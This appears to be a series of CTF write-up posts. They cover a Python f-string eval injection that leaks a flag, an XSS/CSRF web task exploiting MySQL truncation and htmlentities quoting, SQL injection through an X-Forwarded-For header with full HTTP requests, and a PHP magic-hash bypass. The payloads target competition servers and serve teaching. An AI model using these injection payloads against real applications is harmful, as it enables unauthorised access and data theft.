Bài này code giống hệt bài 1, khác mỗi cái là biến op bây giờ cũng không được chứa các ký tự trong mảng ['(',')','[',']','\'','"'] nữa, do đó không thể dùng kiểu +' để break giá trị của value2 ra ngoài chuỗi. Nói cách khác, value1 và value2 đều sẽ chỉ là các string đơn thuần.

Mình search thử thì thấy Python3.6 có một tính năng mới là Formatted string literals, hoạt động như sau:

Python 3.6.1 (v3.6.1:69c0db5, Mar 21 2017, 17:54:52) [MSC v.1900 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> a = 'xxx'
>>> f'{a}'
'xxx'
>>> f'{0 if 2 > 3 else 1}'
'1'

Có thể thấy đây gần như là hướng duy nhất của bài này.

Nếu op = +f, chuỗi được eval sẽ có dạng  calc_eval = 'value1'+f'value2'. Tương tự bài 1, chúng ta muốn dựa vào output của hàm eval để leak flag, mà output chỉ được in ra khi kết quả eval là số, là 'True' hoặc 'False'. Như thế dẫn đến một số suy luận sau:

1. Vì value1 kiểu gì cũng chỉ là chuỗi đơn thuần, nên sau khi eval nó sẽ vẫn là chính nó. Mặt khác, value1 không thể là số vì nếu thế, value2 cũng phải là số, chẳng có tác dụng gì. Vậy, value1 là chữ.
2. Nếu value1 là chữ, thì kết quả sau khi eval không thể là số, nghĩa là chúng ta chỉ có thể thấy được output nếu eval ra True hoặc False, thì value1 cần là một phần của True hoặc False (ví dụ Tr hoặc Fals, để sau khi kết hợp với value2 sẽ ra giá trị hoàn chỉnh). Về lý thuyết chúng ta có thể để value2 trả về đầy đủ chuỗi True hoặc False, tuy nhiên đề bài không cho phép value1 là một chuỗi rỗng.
3. Dạng biểu thức f'{0 if 2 > 3 else 1}' có thể cho phép chúng ta leak flag giống bài 1, kiểu như f'{'e' if 'MeePwn' in FLAG else 'x'}'. Với biểu thức này, kết hợp với value1 = Tru thì khi nhận được output là True, chúng ta kết luận được FLAG có chứa chuỗi MeePwn, và ngược lại.

Tất nhiên ở trên chỉ là ví dụ thôi, vì thực tế đề bài không cho dùng ' trong value2. Sau một hồi ngồi nhìn màn hình, mình nghĩ ra một hướng khá là cần cù bù thông minh.

Content-Disposition: form-data; name="value1"

Tru
----------954427002
Content-Disposition: form-data; name="op"

+f
----------954427002
Content-Disposition: form-data; name="value2"

{source % 101 if source % 77 in FLAG else x}
----------954427002
Content-Disposition: form-data; name="source"

%c

Output nhận được là True (hợp lý vì FLAG có chứa chữ M trong từ MeePwn).

Nhưng check từng ký tự thì chỉ có thể tìm được charset của FLAG mà thôi, mình cần check được nhiều hơn. Do value2 dài tối đa 64 ký tự, mình cố gắng xóa bớt mấy khoảng trắng, được như sau:

Content-Disposition: form-data; name="value1"

Tru
----------954427002
Content-Disposition: form-data; name="op"

+f
----------954427002
Content-Disposition: form-data; name="value2"

{source%101 if source%77+source%101+source%101 in FLAG else x}
----------954427002
Content-Disposition: form-data; name="source"

%c

3 ký tự một lúc là khá ổn, đủ để mình tìm được đến MeePwnCTF{python3.6[_strikes_backk. Sau đó thì phát sinh một vấn đề, đó là với 2 ký tự kk, mình tìm được 2 chuỗi thỏa mãn là kkk và kk}. Cái sau chắc là phần kết của FLAG rồi, nhưng cái đầu thì khá là bế tắc, do không biết cần chính xác bao nhiêu chữ k. Mình có thể thử submit dần luôn trên scoreboard, nhưng ngại nhỡ bị ban thì mang tội với team, còn nếu clone một nick mới để thử thì lại làm tăng số đội giải được, điểm của mình cũng bị ảnh hưởng. Đều không vẹn toàn.

Tự nhiên mình nghĩ đến một hướng, mặc dù đoán là không được nhưng vẫn quyết định thử:

>>> '%c' % 49 * 3
'111'

Kỳ diệu. Mình cứ sợ là nó sẽ thành '%c' % 147.

FLAG: MeePwnCTF{python3.6[_strikes_backkkkkkkkkkkk)}

P.S: Bài này Jinmo làm theo một cách thực sự rất đẹp và đáng được ngợi ca, mọi người có thể đọc tại đây. Kudos to him!

According to Saitama, after a year and half of 100 daily push-ups, sit-ups, and squats, plus 10 km daily running, he had achieved some level of superhuman strength.

Sourcecode (base64)

Spoiler alert: In the previous post, I once said something about SQLi (aka SQL injection) and XSS.
I will write up as my timeline trying to solve this task.
I have sourcecode, yay, at least I known what the heck i'm facing with. At this time, I could use RIPS but I already have experience in source code audit, so, kill the bear with bare hand, why not (I'm not support killing wild animals).
Exploring source code is just time-comsuming task, after that, I have some notes:

• Database structure:
  • The flag is the links table
  • charset LATIN1
  • all string field is varchar(500) - that's mean only 500 char stored in that column. I have some ideas about SQL truncate attack
• The BOT:
  • chim.js is a file used in phantomjs (a headless browser), very familar with XSS problem.
  • the secret cookie is HTTPOnly (i'm not very it yet, blind trust), can't easy inject javascript code to steal cookie.
• The php code:
  • every input entry has been mysqli_real_escape_string
  • every output has been htmlentities - the problem is this function by design/default didn't escape single quote '
  • CSRF, not have any CSRF check, likely XSS.
  • SET sql_mode=ANSI ?
  • function `filterLink` remove single quote ', double quote ", backtick `
  • `mysqli_error` for debug only?

The very likely exploitable for a XSS vuln is htmlentities
string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string$encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )

Default flag is ENT_COMPAT | ENT_HTML401, but if I want to convert ', look at the flag table

Not bad, expected by design

In a CTF challenge, most of task are solvable or exploitable. From my point of view, everything echo-ed back to us is something useful. such as `mysqli_error`.
In some point, I had tried to exploit the register function to make a new Admin but UNIQUE KEY (`user`) in table structure prevented it.

Luckily, when I try to insert a duplicated user into table, it warn me, with the most beautiful char, a single quote.
Example Database, notice the  space at user column.

CREATE DATABASE inj_1;
USE inj_1;
CREATE TABLE `users` (
`uid` int(11) NOT NULL AUTO_INCREMENT,
`user` varchar(50) NOT NULL,
`passwd` varchar(50) NOT NULL,
PRIMARY KEY (`uid`),
UNIQUE KEY (`user`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
ALTER TABLE `users` AUTO_INCREMENT=1;
INSERT INTO `users` VALUES (0, 'admin', 'a');
INSERT INTO `users` VALUES (0, 'admin ', 'a');
INSERT INTO `users` VALUES (0, 'admin onerror=aaa', 'a');
INSERT INTO `users` VALUES (0, 'admin onerror=aaa ', 'a');

One more thing with SELECT is, it didn't do bound check on input, look at this example

mysql> select * from users;
+-----+-------------------+--------+
| uid | user | passwd |
+-----+-------------------+--------+
| 1 | admin | a |
| 3 | admin onerror=aaa | a |
+-----+-------------------+--------+
2 rows in set (0,00 sec)

mysql> select * from users where user = 'admin'
-> ;
+-----+-------+--------+
| uid | user | passwd |
+-----+-------+--------+
| 1 | admin | a |
+-----+-------+--------+
1 row in set (0,01 sec)

mysql> select * from users where user = 'admin      ';
+-----+-------+--------+
| uid | user | passwd |
+-----+-------+--------+
| 1 | admin | a |
+-----+-------+--------+
1 row in set (0,00 sec)

mysql> select * from users where user = 'admin                    ';
+-----+-------+--------+
| uid | user | passwd |
+-----+-------+--------+
| 1 | admin | a |
+-----+-------+--------+
1 row in set (0,00 sec)

mysql> select * from users where user = 'admin                                                 1';
Empty set (0,00 sec)

With SET sql_mode=ANSI , I can bypass SELECT, also able trigger error in INSERT.
If you test in your db; make sure you have change your sql_mode,

by default (mysqld --verbose --help | grep mode) give ONLY_FULL_GROUP_BY,STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION

STRICT_TRANS_TABLES will give  error 1406 (22001): Data too long for column

In the code, there is a lot of space content $msg = mysqli_error($con); but I look the register function first. Then a lot of time trying to finger out how can I bypass the disable tag to have a functional onfocus tag (line 61 file login.php)

echo "<input type='text' value='$msg' class='form-control' disabled>";

After mysql return error string, I may have the following text:

1. register
2. login
3. send a link that trigger a CSRF exploit to make bot create manual exploit link
4. resubmit that trigger link
5. waiting for flag, waka waka

Now this is time for trial error, here
or the original here
Ref:

• https://ctftime.org/
• http://onepunchman.wikia.com/wiki/Saitama
• https://pastebin.com/hnvvVhW9
• http://rips-scanner.sourceforge.net/
• http://php.net/manual/en/function.htmlentities.php
• https://www.w3.org/TR/html4/interact/forms.html#h-17.12
• https://www.youtube.com/watch?v=pRpeEdMmmQ0
• https://pastebin.com/mFCzmSN5
• https://pastebin.com/jnCKtVi0

PS: WordPress SUCK!!!

There are 3 tasks.

1. sourcecode
2. sourcecode
3. sourcecode

These were written in PHP and MySQL, you will need knownledge and experience about it.

1.

A very very classic web vulnerability called SQL injection (a kind of *injection*-ish) when you can inject your own query into developer's SQL query, make use of old query to extract information from database, make that query crash or keep it running depend on your purpose (leak full text or single bit, even out of band over other channel such as DNS, combine with XSS,..)

On line 25 when $id combined with SELECT statement to get username out of users table with some filter, then that username strict compare (===) with string guest

On line 36, again, $ip from $_SERVER['HTTP_X_FORWARDED_FOR'] process through same filter will be insert into logs table, in PHP, `$_SERVER['HTTP_X_FORWARDED_FOR']` equal to X-Forwared-for in HTTP request sent to the  PHP script.

On line 38, same $ip  (after filtered) will be SELECT from same users table. But this time this should return admin if we want flag at line 43.


This is confusing when with 2 same query but have 2 difference results. The first thing popped up like an alert box in my mind is using some kind of condition query. More detail, 1st: query return guest if condition A else admin, then change A; 2nd: because A changed so query return admin.

The INSERT query could be abuse for that. In MySQL there is a thing called variable.
They are permanently in same and single connection to database.
My ideas come clear with SQL query look like:

select username from users where id = -1 union select ( 'guest' if @a=1337 else 'admin')
insert into logs values(''),(@a:=1337),('')
select username from users where id = -1 union select ( 'guest' if @a=1337 else 'admin')

But I came first with a solution did not require `union` and `select`.
Enum the id parameter (?id=1,?id=2, ?id=3...) , it turned out 1 is admin and 2 is guest, add a little math-MySQL-magic, trial-error, help from MySQL documents, I have got final payload:


GET /?id=2-if(@a=1337,@a:=1,@a:=0) HTTP/1.1
Host: 139.59.239.133
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: 1'),(@a:=1337),('2
Upgrade-Insecure-Requests: 1


With response
Br0kenMySQL
<p style="color: red;">Br0kenMySQL</p>
string(18) "1'),(@a:=1337),('2"
What ???????
Login as guest&amp;admin at the same time ?
Seems our code is broken, here is your bounty
MeePwnCTF{_b4by_tr1ck_fixed}

2.
This is an upgrade version of the first task.
It added more filter select|from|, now I need $id without select, from, and (, ), luckily, now I only need remove ( and ),
In MySQL there are a lot of conditional statement. because IF need his parent-heses, in CASE of fire, break glass, THEN call 114. Oh, did you who am I talking about?

Yeah, it is CASE ... THEN ... ELSE ... END
Debugging INSERT in mysqlclient connected to my test database let me know that I can assign variable's value inside statement, it is just a subquery if I correct.

GET /v2/?id=2-case+when+%40a%3d1337+then+1+else+0+end HTTP/1.1
Host: 139.59.239.133
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
X-Forwarded-For: '+@a:=1337+'
Upgrade-Insecure-Requests: 1

Br0kenMySQL
<p style="color: red;">Br0kenMySQL</p>
string(12) "'+@a:=1337+'"
What, again ???????!@#$!@#$!@#$
MeePwnCTF{_I_g1ve__uPPPPPPPP}
http://139.59.239.133/c541c6ed5e28b8762c4383a8238e6f5632cc7df6da8ce9db7a1aa706d1e5c387/?debug=%F0%9F%95%B5

3.
Althrough time|date|sec|day was blacklisted but I didn't use any of them.
Yay, same payload for 3rd flag.

Thanks @ml for great challenges. You absolutely should try his CTF challenge repo at Github.

Ref:

• https://pastebin.com/T7zAcdhb
• https://pastebin.com/kLAyi6qS
• https://pastebin.com/v0PAEFNY
• https://www.owasp.org/index.php/SQL_Injection
• http://php.net/manual/en/types.comparisons.php
• http://php.net/manual/en/reserved.variables.server.php
• https://en.wikipedia.org/wiki/X-Forwarded-For
• https://dev.mysql.com/doc/refman/5.7/en/user-variables.html
• https://dev.mysql.com/doc/refman/5.7/en/case.html
• https://github.com/l4wio/CTF-challenges-by-me/tree/master/meepwn-2017

Long time no C++
Có chút vấn đề khi mình viết writeup cho bài này đó là phần lầy flag có vẻ không hoạt động nên hiện tại mình chỉ có thể viết được phần 1.

Okie, link

Có gợi ý như sau By the way I know it's dangerous to code with IDE in server-side but I really obey security instructions.

Vào trang web và lưu lại các request & response bằng Burpsuite Proxy

Có thể là có cả những file cấu hình project - Information leak. Tiện sẵn máy mình cũng cài PHPStorm nên tạo luôn 1 project để xem thế nào

Như vậy là có các file như trong hình, thử vào .idea/workspace.xml và ...

Tiếp tục là 1 file php khác

Phân tích kỹ ta có 1 đoạn compare lỗi == ở if($realSign == $signature)

Bypass bằng cách bruteforce input để md5sum của (input + unknown-key) = 0e[a-f0-9]{30} aka magic hash, sau đó đến phần unserialize của $payload... hmm, không đơn giản lắm nhỉ, bruteforce mà vẫn phải unserialize được. Tuy nhiên thì ta có thể chèn thêm junk variables vào trong $payload mà deserialize không ảnh hưởng gì cả.

Ví dụ

Chạy 1 lúc (ở server cũ)

Sử dụng auth trên để lấy flag + source cho phần thứ 2.

<continue>

Nội dung bài viết được thực hiện trên 1 trang mà tôi tự tiện clone lại đề của Bkav.
Nếu bạn đã đọc đến đây thì tức là bạn đang tìm kiếm lời giải cho 1 vấn đề, và hãy tiếp tục đọc xuống bên dưới, nếu bạn muốn tự khám phá thì hãy dừng lại ở đây và quay trở lại khi tạm thời chưa nghĩ ra ý tưởng, hoặc những ý tưởng của bạn đúng nhưng tôi lại setup sai

Đề bài cho ta 1 đường link và dĩ nhiên theo quán tính tôi sờ tay vào ch...chuột click mở lấy vài cái cửa sổ, 1 cái view-source, 1 cái view page đã render.

Nếu bạn chưa quen làm việc với những challenge liên quan đến web, tôi khuyên bạn nên sử dụng công cụ proxy để theo dõi các request từ client và response. Nói cách khác, việc nắm bắt những hành động của challenge sẽ giúp bạn có cái nhìn tổng quan về attack surface. Tôi thấy mấy anh bạn hay dùng Chrome, nên tôi dùng luôn cái Developer tools của Chrome, bật "Preserve log" trong tab Network để những request cũ không bị xóa khi chuyển trang.

Sơ bộ khi nhấn "Share your button!" sẽ có 1 request gửi đi với những tham số mà tôi nhập trong hình, cách xử lý dữ liệu gửi đi từ client rõ hơn trong file app.js, hướng đến push.php

Quan sát response, ta thấy điểm chung là có dữ liệu giống như trong request gửi đi. Một trang design button có chức năng share, là bước đầu của việc share + tín dụng (1 icon nào đó từ voz). Nếu chỉ có mình đọc được thì hơi chán, dẫn đến một vài phán đoán là có người thứ 2 đọc được, người ấy, chắc chắn không phải người yêu mình, mà là 1 thứ gì đó gọi là bot, hay flag keeper. Tình huống này rất có thể là client-side attack mà thông thường là XSS (đôi khi xuất hiện trong các kì CTF gần đây).

Có thêm 1 dữ kiện nữa là có 1 thành phần được comment trong code

<!-- Admin only ... 
<span value="secret"></span> 
-->

Tốt nhất là chiếm được phiên của admin để có được secret (có thể là flag luôn). Tóm lại là mình sẽ ngồi chèn javascript để get source code của cái trang admin đấy, bao gồm cả secret value luôn.

Việc dự đoán như vậy rất dễ khiến con nhà người ta đi sai hướng và không lấy được flag, ví dụ như người ra để muốn mình khai thác sql injection, hay command injection, các loại tiêm chủng mở rộng mà mình cứ đâm đầu vào khai thác XSS chẳng hạn. Đó là lý do tại sao bạn nên kiểm tra tất cả các khả năng mà bạn có thể nghĩ ra, chuyển hướng hoặc chuyển sang làm bài khác, hoặc blame admin đến khi có đội làm ra (đôi khi đề deploy có sơ suất nên không thể giải được).

Bài này mình đã bị sai hướng, rõ ràng là inject javascript rất đơn giản, mặc dù tất cả các ký tự đi qua đều đã bị lowercase- cần nhiều hơn (cụ thể là len(charset)*2) điều kiện blind.